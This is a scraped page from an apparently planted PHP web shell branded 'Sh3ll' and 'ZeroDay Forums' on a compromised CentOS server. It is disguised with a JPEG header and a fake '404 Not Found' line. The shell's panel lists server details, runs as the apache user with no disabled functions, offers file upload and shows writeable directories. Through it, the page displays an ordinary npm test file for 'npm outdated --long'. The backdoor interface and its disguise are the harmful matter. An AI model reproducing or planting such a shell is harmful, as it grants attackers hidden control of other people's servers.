����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /proc/self/root/home/real/node-v13.0.1/deps/npm/test/tap/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/home/real/node-v13.0.1/deps/npm/test/tap/outdated-long.js
var fs = require('graceful-fs')
var path = require('path')

var mr = require('npm-registry-mock')
var test = require('tap').test

var common = require('../common-tap.js')
var npm = require('../../')

// config
var pkg = common.pkg
var cache = common.cache

var json = {
  name: 'outdated-long',
  description: 'fixture',
  version: '0.0.1',
  dependencies: {
    underscore: '1.3.1'
  }
}

test('setup', function (t) {
  fs.writeFileSync(
    path.join(pkg, 'package.json'),
    JSON.stringify(json, null, 2)
  )

  process.chdir(pkg)
  t.end()
})

test('it should not throw', function (t) {
  var originalLog = console.log

  var output = []
  var expOut = [
    'add\tunderscore\t1.3.1\tnode_modules/underscore\t\t',
    path.resolve(pkg, 'node_modules', 'underscore') +
      ':[email protected]' +
      ':[email protected]' +
      ':[email protected]' +
      ':dependencies'
  ]

  var expData = [
    [
      pkg,
      'underscore',
      '1.3.1',
      '1.3.1',
      '1.5.1',
      '1.3.1',
      'dependencies'
    ]
  ]

  console.log = function () {
    output.push.apply(output, arguments)
  }
  mr({ port: common.port }, function (er, s) {
    npm.load(
      {
        cache: cache,
        loglevel: 'silent',
        parseable: true,
        registry: common.registry
      },
      function () {
        npm.install('.', function (err) {
          t.ifError(err, 'install success')
          npm.config.set('long', true)
          // since it's possible for the homepage of a package to change, after the
          // install we read the value from the package.json directly to specify our
          // expected output.
          expOut[1] = expOut[1] + ':' + JSON.parse(fs.readFileSync(path.resolve(pkg, 'node_modules', 'underscore', 'package.json'))).homepage
          npm.outdated(function (er, d) {
            t.ifError(err, 'npm outdated ran without error')
            t.is(process.exitCode, 1, 'exit code set to 1')
            process.exitCode = 0
            console.log = originalLog
            output[0] = output[0].replace(/\\/g, '/')
            t.same(output, expOut)
            t.same(d, expData)

            s.close()
            t.end()
          })
        })
      }
    )
  })
})

ZeroDay Forums Mini